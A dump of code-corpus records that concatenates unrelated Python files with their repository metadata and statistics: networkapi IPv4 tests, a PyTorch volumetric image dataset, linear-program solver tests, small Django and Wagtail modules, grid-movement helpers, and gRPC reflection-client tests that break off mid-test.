'networkapi/api_network/fixtures/sanity/initial_environment_vip.json',
'networkapi/api_network/fixtures/sanity/initial_env_env_vip.json',
'networkapi/api_network/fixtures/sanity/initial_equipments.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_env.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_group.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4_eqpt.json',
'networkapi/api_network/fixtures/sanity/initial_roteiros.json',
'networkapi/api_network/fixtures/sanity/initial_equip_marca_model.json',
'networkapi/api_network/fixtures/sanity/initial_cidr.json',
]
json_path = 'api_network/tests/v3/sanity/networkipv4/json/%s'
def setUp(self):
self.client = Client()
self.authorization = self.get_http_authorization('test_admin')
def tearDown(self):
pass
def test_try_create_netipv4_without_active_flag(self):
"""Test of success to create NetworkIPv4 without active flag.
By default, active flag must be set to false.
"""
name_file = self.json_path % 'post/net_without_active_flag.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/force/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic&include=active' % response.data[
0]['id']
name_file_get = self.json_path % 'get/basic/net_with_active_flag_false.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file_get, response.data['networks'])
def test_try_create_netipv4_with_active_flag_equals_to_true(self):
"""Test of success to create NetworkIPv4 with active flag set to true."""
name_file = self.json_path % 'post/net_with_active_flag_true.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/force/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic&include=active' % response.data[
0]['id']
name_file_get = self.json_path % 'get/basic/net_with_active_flag_true.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file_get, response.data['networks'])
def test_try_create_netipv4_with_active_flag_equals_to_false(self):
"""Test of success to create NetworkIPv4 with active flag set to false."""
name_file = self.json_path % 'post/net_with_active_flag_false.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/force/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic&include=active' % response.data[
0]['id']
name_file_get = self.json_path % 'get/basic/net_with_active_flag_false.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file_get, response.data['networks'])
| 43.183709
| 85
| 0.700084
| 2,876
| 24,917
| 5.811544
| 0.066759
| 0.128156
| 0.109848
| 0.14072
| 0.928443
| 0.916118
| 0.911751
| 0.90152
| 0.889494
| 0.878485
| 0
| 0.010685
| 0.192479
| 24,917
| 576
| 86
| 43.258681
| 0.819989
| 0.099651
| 0
| 0.846966
| 0
| 0
| 0.513134
| 0.478021
| 0
| 0
| 0
| 0
| 0
| 1
| 0.05277
| false
| 0.013193
| 0.013193
| 0
| 0.100264
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f4ea5a76784330e507945bbd2aa9d3d7e1ead895
| 4,918
|
py
|
Python
|
PyLib/data.py
|
KarlZhanghao/LiCAI
|
0d1e2b7505f7537ba53403100c705fa19ae5ebf7
|
[
"Apache-2.0"
] | null | null | null |
PyLib/data.py
|
KarlZhanghao/LiCAI
|
0d1e2b7505f7537ba53403100c705fa19ae5ebf7
|
[
"Apache-2.0"
] | null | null | null |
PyLib/data.py
|
KarlZhanghao/LiCAI
|
0d1e2b7505f7537ba53403100c705fa19ae5ebf7
|
[
"Apache-2.0"
] | null | null | null |
from os.path import splitext
from os import listdir
import numpy as np
from scipy import ndimage
import random
import tifffile
import torch
from torch.utils.data import Dataset
import torchvision
import torchvision.transforms.functional as TF
class Rand3dRatioDataset(Dataset):
""""""
def __init__(self, data_dir, fluoimg='fluo.tif', ratioimg='ratio.tif', maskimg='mask.tif'):
# read data folders
self.data_dir = data_dir
self.ids = [file for file in listdir(self.data_dir)
if not file.startswith('.')]
self.ndata = len(self.ids)
# image files
self.fluoimg = '/' + fluoimg
self.ratioimg = '/' + ratioimg
self.maskimg = '/' + maskimg
def __len__(self):
return len(self.ids)
@classmethod
def my_transforms(cls, img):
# normalization
if img.dtype == 'uint16':
img = img/65535.
elif img.dtype == 'uint8':
img = img/255.
if img.shape[1] == 1200:
img = ndimage.zoom(img,zoom=[20./img.shape[0],802./1200,802./1200],order=0,mode='nearest',prefilter=False)
img = np.concatenate((np.expand_dims(img[0,:,:],axis=0),np.expand_dims(img[0,:,:],axis=0),
img,np.expand_dims(img[-1,:,:],axis=0),np.expand_dims(img[-1,:,:],axis=0)),axis=0)
elif img.shape[1] == 944:
img = ndimage.zoom(img,zoom=[20./img.shape[0],648./944,648./944],order=0,mode='nearest',prefilter=False)
img = np.concatenate((np.expand_dims(img[0,:,:],axis=0),np.expand_dims(img[0,:,:],axis=0),
img,np.expand_dims(img[-1,:,:],axis=0),np.expand_dims(img[-1,:,:],axis=0)),axis=0)
img_nd = img
# ZHW to CZHW
img_nd = np.expand_dims(img_nd, axis=0)
return img_nd
def __getitem__(self, i):
# data information
idx = self.ids[i%self.ndata]
tmpstr = idx.split('_NZ_')
nz = int(tmpstr[1])
# read images
img = tifffile.imread(self.data_dir + idx + self.fluoimg)
ratio = tifffile.imread(self.data_dir + idx + self.ratioimg)
mask = tifffile.imread(self.data_dir + idx + self.maskimg)
inp = img.shape[1]
# transformation parameters
intratio = 2.0
# trainsformation
img = self.my_transforms(img)
ratio = self.my_transforms(ratio)
img = np.concatenate((np.minimum(img*intratio,1), ratio), axis=0)
mask = self.my_transforms(mask)
# print(idx)
return {"image": torch.from_numpy(img),
"mask": torch.from_numpy(mask.astype(np.float32)),
"filename": idx,
"nz": nz,
"np": inp}
class Rand3dVolDataset(Dataset):
""""""
def __init__(self, data_dir, fluoimg='fluo.tif',maskimg='mask.tif'):
# read data folders
self.data_dir = data_dir
self.ids = [file for file in listdir(self.data_dir)
if not file.startswith('.')]
self.ndata = len(self.ids)
# image files
self.fluoimg = '/' + fluoimg
self.maskimg = '/' + maskimg
def __len__(self):
return len(self.ids)
@classmethod
def my_transforms(cls, img):
if img.shape[1] == 1200:
img = ndimage.zoom(img,zoom=[20./img.shape[0],512./1200,512./1200],order=0,mode='nearest',prefilter=False)
img = np.concatenate((np.expand_dims(img[0,:,:],axis=0),np.expand_dims(img[0,:,:],axis=0),
img,np.expand_dims(img[-1,:,:],axis=0),np.expand_dims(img[-1,:,:],axis=0)),axis=0)
elif img.shape[1] == 944:
img = ndimage.zoom(img,zoom=[20./img.shape[0],402./944,402./944],order=0,mode='nearest',prefilter=False)
img = np.concatenate((np.expand_dims(img[0,:,:],axis=0),np.expand_dims(img[0,:,:],axis=0),
img,np.expand_dims(img[-1,:,:],axis=0),np.expand_dims(img[-1,:,:],axis=0)),axis=0)
img_nd = img
# ZHW to CZHW
img_nd = np.expand_dims(img_nd, axis=0)
return img_nd
def __getitem__(self, i):
# data information
idx = self.ids[i%self.ndata]
tmpstr = idx.split('_NZ_')
nz = int(tmpstr[1])
# read images
img = tifffile.imread(self.data_dir + idx + self.fluoimg)
mask = tifffile.imread(self.data_dir + idx + self.maskimg)
inp = img.shape[1]
# trainsformation
img = self.my_transforms(img)/255.
mask = self.my_transforms(mask)
#
return {"image": torch.from_numpy(img),
"mask": torch.from_numpy(mask.astype(np.float32)),
"filename": idx,
"nz": nz,
"np": inp}
| 38.724409
| 118
| 0.547987
| 633
| 4,918
| 4.134281
| 0.165877
| 0.043943
| 0.082537
| 0.103172
| 0.803592
| 0.78525
| 0.756974
| 0.744746
| 0.744746
| 0.716087
| 0
| 0.044096
| 0.299105
| 4,918
| 127
| 119
| 38.724409
| 0.715115
| 0.045547
| 0
| 0.688172
| 0
| 0
| 0.029361
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.107527
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7606cde398399fb9087df3ef5e315a16f13e665f
| 4,378
|
py
|
Python
|
pytimize/programs/tests/linear/test_solve.py
|
TerrayTM/pytimize
|
5d3508e8da4d2e6c8e52d3386b580bc300dc52d5
|
[
"Apache-2.0"
] | 10
|
2020-02-24T01:52:20.000Z
|
2022-03-12T02:50:58.000Z
|
pytimize/programs/tests/linear/test_solve.py
|
TerrayTM/pytimize
|
5d3508e8da4d2e6c8e52d3386b580bc300dc52d5
|
[
"Apache-2.0"
] | null | null | null |
pytimize/programs/tests/linear/test_solve.py
|
TerrayTM/pytimize
|
5d3508e8da4d2e6c8e52d3386b580bc300dc52d5
|
[
"Apache-2.0"
] | 2
|
2021-10-03T22:18:47.000Z
|
2021-10-03T22:19:27.000Z
|
import numpy as np
from ... import LinearProgram
from unittest import TestCase, main
class TestSolve(TestCase):
def test_solve(self) -> None:
A = np.array([
[2, 1],
[2, 3],
[3, 1]
])
b = np.array([18, 42, 24])
c = np.array([3, 2])
z = 0
p = LinearProgram(A, b, c, z, inequalities=["<=", "<=", "<="])
self.assertTrue(np.allclose(p.solve(), [3, 12]), "Should compute correct solution.")
A = np.array([
[-1, 2, 4, 2, -1],
[0, 1, 0, 1, 1],
[0, 5, 1, 2, 0]
])
b = np.array([6, 1, 7])
c = np.array([-1, 8, 5, 5, 0])
z = -14
p = LinearProgram(A, b, c, z, inequalities=["<=", "<=", "<="])
self.assertTrue(np.allclose(p.solve(), [4, 1, 2, 0, 0]), "Should compute correct solution.")
A = np.array([
[-1, 2, 4, 2, -1, 1, 0, 0],
[0, 1, 0, 1, 1, 0, 1, 0],
[0, 5, 1, 2, 0, 0, 0, 1]
])
b = np.array([6, 1, 7])
c = np.array([1, -8, -5, -5, 0, 0, 0, 0])
z = -14
p = LinearProgram(A, b, c, z, "min")
self.assertTrue(np.allclose(p.solve(), [4, 1, 2, 0, 0, 0, 0, 0]), "Should compute correct solution.")
A = np.array([
[1, 1]
])
b = np.array([5])
c = np.array([1, 0])
z = 0
p = LinearProgram(A, b, c, z, inequalities=["<="], free_variables=[1])
self.assertTrue(np.allclose(p.solve(), [5, 0]), "Should compute correct solution.")
A = np.array([
[-1, 2, 4, 2, -1],
[0, 1, 0, 1, 1],
[0, 5, 1, 2, 0]
])
b = np.array([6, 1, 7])
c = np.array([-1, 8, 5, 5, 0])
z = -14
p = LinearProgram(A, b, c, z, inequalities=["<=", "<=", "<="], free_variables=[1, 2, 3, 4, 5])
self.assertTrue(np.allclose(p.solve(), [4, 1, 2, 0, 0]), "Should compute correct solution.")
A = np.array([
[-1, 2, 4, 2, -1],
[0, 1, 0, 1, 1],
[0, 5, 1, 2, 0]
])
b = np.array([6, 1, 7])
c = np.array([-1, 8, 5, 5, 0])
z = -14
p = LinearProgram(A, b, c, z, inequalities=["<=", "<=", "<="], free_variables=[1, 3, 5])
self.assertTrue(np.allclose(p.solve(), [4, 1, 2, 0, 0]), "Should compute correct solution.")
A = np.array([
[1, -1, -1],
[1, -1, 1],
[2, -1, -1],
[2, -1, 1],
[3, -1, -1],
[3, -1, 1],
[5, -1, -1],
[5, -1, 1],
[7, -1, -1],
[7, -1, 1],
[8, -1, -1],
[8, -1, 1],
[10, -1, -1],
[10, -1, 1]
])
b = np.array([3, 3, 5, 5, 7, 7, 11, 11, 14, 14, 15, 15, 19, 19])
c = np.array([0, 0, 1])
z = 0
p = LinearProgram(A, b, c, z, "min", ["<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">="])
self.assertTrue(np.allclose(p.solve(), [2, 0, 1]), "Should compute correct solution.")
A = np.array([
[1, 1, 1],
[1, 1, -1],
[2, 1, 1],
[2, 1, -1],
[3, 1, 1],
[3, 1, -1],
[5, 1, 1],
[5, 1, -1],
[7, 1, 1],
[7, 1, -1],
[8, 1, 1],
[8, 1, -1],
[10, 1, 1],
[10, 1, -1]
])
b = np.array([3, 3, 5, 5, 7, 7, 11, 11, 14, 14, 19, 19, 19, 19])
c = np.array([0, 0, 1])
z = 0
p = LinearProgram(A, b, c, z, "min", [">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<=", ">=", "<="], free_variables=[1, 2])
self.assertTrue(np.allclose(p.solve(), [1.77777, 3, 1.77777]), "Should compute correct solution.")
def test_solve_sef(self) -> None:
A = np.array([
[-1, 2, 4, 2, -1, 1, 0, 0],
[0, 1, 0, 1, 1, 0, 1, 0],
[0, 5, 1, 2, 0, 0, 0, 1]
])
b = np.array([6, 1, 7])
c = np.array([-1, 8, 5, 5, 0, 0, 0, 0])
z = -14
p = LinearProgram(A, b, c, z)
self.assertTrue(np.allclose(p.solve(), [4, 1, 2, 0, 0, 0, 0, 0]), "Should compute correct solution.")
if __name__ == "__main__":
main()
| 30.402778
| 153
| 0.357469
| 616
| 4,378
| 2.516234
| 0.087662
| 0.054194
| 0.072258
| 0.092903
| 0.840645
| 0.82
| 0.78129
| 0.78129
| 0.78129
| 0.77871
| 0
| 0.141395
| 0.397442
| 4,378
| 143
| 154
| 30.615385
| 0.446171
| 0
| 0
| 0.5
| 0
| 0
| 0.088397
| 0
| 0
| 0
| 0
| 0
| 0.076271
| 1
| 0.016949
| false
| 0
| 0.025424
| 0
| 0.050847
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
52096edc114c7a5875105b95e86aae89568b4e3f
| 133
|
py
|
Python
|
home/models.py
|
littleweaver/wagtail-project-template
|
34d9b2f659fab2c530902b650e2fc76410b8a22f
|
[
"BSD-3-Clause"
] | 12
|
2018-04-20T20:06:48.000Z
|
2022-03-23T08:11:11.000Z
|
home/models.py
|
littleweaver/wagtail-project-template
|
34d9b2f659fab2c530902b650e2fc76410b8a22f
|
[
"BSD-3-Clause"
] | 16
|
2018-03-09T22:30:35.000Z
|
2021-09-07T23:36:05.000Z
|
home/models.py
|
littleweaver/wagtail-project-template
|
34d9b2f659fab2c530902b650e2fc76410b8a22f
|
[
"BSD-3-Clause"
] | 1
|
2019-08-02T20:17:35.000Z
|
2019-08-02T20:17:35.000Z
|
from wagtail.core.models import Page
from common.models import MetadataPageMixin
class HomePage(MetadataPageMixin, Page):
pass
| 19
| 43
| 0.81203
| 16
| 133
| 6.75
| 0.6875
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135338
| 133
| 6
| 44
| 22.166667
| 0.93913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
5211055712f218510515a5ded579903df5fe198f
| 117
|
py
|
Python
|
rows/util/file_system.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | null | null | null |
rows/util/file_system.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | null | null | null |
rows/util/file_system.py
|
pmateusz/cordia
|
f911f4b140e416097342a7261b73e8e39dbe7589
|
[
"MIT"
] | 2
|
2020-08-30T17:54:40.000Z
|
2021-05-18T02:28:33.000Z
|
import os
def real_path(file_path):
return os.path.realpath(os.path.expandvars(os.path.expanduser(file_path)))
| 19.5
| 78
| 0.769231
| 19
| 117
| 4.578947
| 0.526316
| 0.206897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 117
| 5
| 79
| 23.4
| 0.828571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
5295ea549f85b3f60a2840c8bfb9e79b6952e8e3
| 3,253
|
py
|
Python
|
utils/actions.py
|
urastogi885/path-finding-dijkstra
|
de7c550100a567937e2d8a134afc46bf060a98d5
|
[
"BSD-3-Clause"
] | 2
|
2020-06-17T06:08:20.000Z
|
2022-01-20T13:59:41.000Z
|
utils/actions.py
|
urastogi885/sub-optimal-path-finder
|
a6fa9a43b26548dce7ea02910ff8e00f5f6600ba
|
[
"MIT"
] | null | null | null |
utils/actions.py
|
urastogi885/sub-optimal-path-finder
|
a6fa9a43b26548dce7ea02910ff8e00f5f6600ba
|
[
"MIT"
] | 1
|
2020-03-16T17:56:04.000Z
|
2020-03-16T17:56:04.000Z
|
def take_action(action: int, coordinates: tuple) -> tuple:
"""
Call various actions based on an integer
:param action: Varies from 0-7 to call one of the 8 defined actions
:param coordinates: a tuple containing x-y coordinates of the node
:return: new coordinates of the node after the desired action
"""
if action == 0:
return go_up(coordinates[0], coordinates[1])
elif action == 1:
return go_down(coordinates[0], coordinates[1])
elif action == 2:
return go_right(coordinates[0], coordinates[1])
elif action == 3:
return go_left(coordinates[0], coordinates[1])
elif action == 4:
return go_up_right(coordinates[0], coordinates[1])
elif action == 5:
return go_up_left(coordinates[0], coordinates[1])
elif action == 6:
return go_down_right(coordinates[0], coordinates[1])
return go_down_left(coordinates[0], coordinates[1])
def go_up(x: int, y: int) -> tuple:
"""
Go 1 unit in positive y-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving a unit in the positive y-direction
"""
return x, y + 1
def go_down(x: int, y: int) -> tuple:
"""
Go 1 unit in negative y-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving a unit in the negative y-direction
"""
return x, y - 1
def go_right(x: int, y: int) -> tuple:
"""
Go 1 unit in positive x-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving a unit in the positive x-direction
"""
return x + 1, y
def go_left(x: int, y: int) -> tuple:
"""
Go 1 unit in negative x-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving a unit in the negative x-direction
"""
return x - 1, y
def go_up_right(x: int, y: int) -> tuple:
"""
Go 1 unit in both positive x and y directions
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving diagonally up-right
"""
return x + 1, y + 1
def go_up_left(x: int, y: int) -> tuple:
"""
Go 1 unit in positive y-direction and 1 unit in negative x-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving diagonally up-left
"""
return x - 1, y + 1
def go_down_right(x: int, y: int) -> tuple:
"""
Go 1 unit in negative y-direction and 1 unit in positive x-direction
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving diagonally down-right
"""
return x - 1, y + 1
def go_down_left(x: int, y: int) -> tuple:
"""
Go 1 unit in both negative x and y directions
:param x: x-coordinate of the node
:param y: y-coordinate of the node
:return: new coordinates of the node after moving diagonally down-left
"""
return x - 1, y - 1
| 30.980952
| 88
| 0.64771
| 527
| 3,253
| 3.950664
| 0.108159
| 0.064842
| 0.112392
| 0.146013
| 0.849183
| 0.819885
| 0.775696
| 0.701729
| 0.62536
| 0.62536
| 0
| 0.019851
| 0.256686
| 3,253
| 104
| 89
| 31.278846
| 0.841191
| 0.548724
| 0
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.28125
| false
| 0
| 0
| 0
| 0.78125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
872fed0956eb82d76304b8b2c0ddbeb964a92374
| 157
|
py
|
Python
|
launch.py
|
bouldeterre/artWalk
|
afa3ecff3c1ae4ceb19bf0c557e1b13d762cd8fa
|
[
"MIT"
] | null | null | null |
launch.py
|
bouldeterre/artWalk
|
afa3ecff3c1ae4ceb19bf0c557e1b13d762cd8fa
|
[
"MIT"
] | null | null | null |
launch.py
|
bouldeterre/artWalk
|
afa3ecff3c1ae4ceb19bf0c557e1b13d762cd8fa
|
[
"MIT"
] | null | null | null |
from worker.worker import internal_launch as workerLaunch
from WallpaperCli.cli import internal_launch as wallpaperLaunch
workerLaunch()
wallpaperLaunch()
| 22.428571
| 63
| 0.859873
| 18
| 157
| 7.388889
| 0.555556
| 0.210526
| 0.300752
| 0.330827
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101911
| 157
| 6
| 64
| 26.166667
| 0.943262
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
5e56279e43a80f02d925bfc74e0e45e9d577ffe9
| 158
|
py
|
Python
|
warehouse_server/polls/admin.py
|
ammar-farooqi/django-server
|
d8e1b518ab2bcbeb763b7436deffafc44ed5bf4b
|
[
"MIT"
] | null | null | null |
warehouse_server/polls/admin.py
|
ammar-farooqi/django-server
|
d8e1b518ab2bcbeb763b7436deffafc44ed5bf4b
|
[
"MIT"
] | null | null | null |
warehouse_server/polls/admin.py
|
ammar-farooqi/django-server
|
d8e1b518ab2bcbeb763b7436deffafc44ed5bf4b
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Question, Memant, Choice
admin.site.register([Question, Memant, Choice])
# Register your models here.
| 19.75
| 47
| 0.778481
| 21
| 158
| 5.857143
| 0.619048
| 0.227642
| 0.325203
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132911
| 158
| 7
| 48
| 22.571429
| 0.89781
| 0.164557
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5e78cf6292c3a96e3c65378b47b89b6e539b3a22
| 7,435
|
py
|
Python
|
src/tests/requests/test_reflection_client.py
|
eyadn/grpc_requests
|
0c4b5f9a1a093d4fcd7affd1cd2ca7aba15ba830
|
[
"Apache-2.0"
] | 47
|
2020-07-20T21:42:08.000Z
|
2022-03-19T08:00:57.000Z
|
src/tests/requests/test_reflection_client.py
|
eyadn/grpc_requests
|
0c4b5f9a1a093d4fcd7affd1cd2ca7aba15ba830
|
[
"Apache-2.0"
] | 29
|
2020-07-22T01:41:55.000Z
|
2022-03-30T11:24:30.000Z
|
src/tests/requests/test_reflection_client.py
|
eyadn/grpc_requests
|
0c4b5f9a1a093d4fcd7affd1cd2ca7aba15ba830
|
[
"Apache-2.0"
] | 8
|
2020-10-13T15:13:36.000Z
|
2022-03-11T15:46:42.000Z
|
from .app import app
from ..testcase import RealServerTestCase
from ...grpc_requests import Client
class UnaryUnaryTestCase(RealServerTestCase):
app = app
service = 'helloworld.Greeter'
method = 'SayHello'
def test_success_request(self):
client = Client(self.default_endpoint)
result = client.unary_unary(self.service, self.method, {'name': "sinsky"})
self.assertIsInstance(result, dict)
self.assertEqual(result.get('message'), 'Hello sinsky!')
client._channel.close()
def test_not_support_service(self):
client = Client(self.default_endpoint)
not_support_service = 'notSupport'
with self.assertRaises(ValueError) as context:
client.unary_unary(not_support_service, self.method, {'name': "sinsky"})
exception_msg = f"{context.exception}"
print(exception_msg)
self.assertTrue(f"server doesn't support {not_support_service}" in exception_msg)
for service in ('grpc.health.v1.Health', 'grpc.reflection.v1alpha.ServerReflection', 'helloworld.Greeter'):
self.assertTrue(service in exception_msg)
client._channel.close()
def test_not_support_method(self):
client = Client(self.default_endpoint)
not_support_method = 'notSupport'
with self.assertRaises(ValueError) as context:
client.unary_unary(self.service, not_support_method, {'name': "sinsky"})
exception_msg = f"{context.exception}"
print(exception_msg)
self.assertTrue(f"{self.service} doesn't support {not_support_method} method" in exception_msg)
for method in ('HelloEveryone', 'SayHello', 'SayHelloGroup', 'SayHelloOneByOne'):
self.assertTrue(method in exception_msg)
client._channel.close()
class UnaryStreamTestCase(RealServerTestCase):
app = app
service = 'helloworld.Greeter'
method = 'SayHelloGroup'
def test_success_request(self):
client = Client(self.default_endpoint)
_results = client.unary_stream(self.service, self.method, {'name': "sinsky"})
results = [x for x in _results]
print(results)
self.assertEqual(4, len(results))
names = ['a', 'b', 'c', 'd']
for result, name in zip(_results, names):
self.assertIsInstance(result, dict)
self.assertTrue(name in result.get('message'))
client._channel.close()
def test_not_support_service(self):
client = Client(self.default_endpoint)
not_support_service = 'notSupport'
with self.assertRaises(ValueError) as context:
client.unary_stream(not_support_service, self.method, {'name': "sinsky"})
exception_msg = f"{context.exception}"
# print(exception_msg)
self.assertTrue(f"server doesn't support {not_support_service}" in exception_msg)
for service in ('grpc.health.v1.Health', 'grpc.reflection.v1alpha.ServerReflection', 'helloworld.Greeter'):
self.assertTrue(service in exception_msg)
client._channel.close()
def test_not_support_method(self):
client = Client.get_by_endpoint(self.default_endpoint)
not_support_method = 'notSupport'
with self.assertRaises(ValueError) as context:
client.unary_stream(self.service, not_support_method, {'name': "sinsky"})
exception_msg = f"{context.exception}"
# print(exception_msg)
self.assertTrue(f"{self.service} doesn't support {not_support_method} method" in exception_msg)
for method in ('HelloEveryone', 'SayHello', 'SayHelloGroup', 'SayHelloOneByOne'):
self.assertTrue(method in exception_msg)
client._channel.close()
class StreamStreamTestCase(RealServerTestCase):
app = app
service = 'helloworld.Greeter'
method = 'SayHelloOneByOne'
def test_success_request(self):
client = Client(self.default_endpoint)
names = ['sinsky', 'summer', 'wone']
_results = client.stream_stream(self.service, self.method, ({"name": name} for name in names))
results = [x for x in _results]
print(results)
self.assertEqual(len(names), len(results))
for result, name in zip(_results, names):
self.assertIsInstance(result, dict)
self.assertTrue(name in result.get('message'))
client._channel.close()
def test_not_support_service(self):
client = Client(self.default_endpoint)
not_support_service = 'notSupport'
with self.assertRaises(ValueError) as context:
client.stream_stream(not_support_service, self.method, [{'name': "sinsky"}])
exception_msg = f"{context.exception}"
# print(exception_msg)
self.assertTrue(f"server doesn't support {not_support_service}" in exception_msg)
for service in ('grpc.health.v1.Health', 'grpc.reflection.v1alpha.ServerReflection', 'helloworld.Greeter'):
self.assertTrue(service in exception_msg)
client._channel.close()
def test_not_support_method(self):
client = Client.get_by_endpoint(self.default_endpoint)
not_support_method = 'notSupport'
with self.assertRaises(ValueError) as context:
client.stream_stream(self.service, not_support_method, [{'name': "sinsky"}])
exception_msg = f"{context.exception}"
# print(exception_msg)
self.assertTrue(f"{self.service} doesn't support {not_support_method} method" in exception_msg)
for method in ('HelloEveryone', 'SayHello', 'SayHelloGroup', 'SayHelloOneByOne'):
self.assertTrue(method in exception_msg)
client._channel.close()
class StreamUnaryTestCase(RealServerTestCase):
app = app
service = 'helloworld.Greeter'
method = 'HelloEveryone'
def test_success_request(self):
client = Client(self.default_endpoint)
names = ['sinsky', 'summer', 'wone']
result = client.stream_unary(self.service, self.method, ({"name": name} for name in names))
self.assertIsInstance(result, dict)
self.assertTrue(f"{names}" in result.get('message', ''))
client._channel.close()
def test_not_support_service(self):
client = Client(self.default_endpoint)
not_support_service = 'notSupport'
with self.assertRaises(ValueError) as context:
client.stream_unary(not_support_service, self.method, [{'name': "sinsky"}])
exception_msg = f"{context.exception}"
# print(exception_msg)
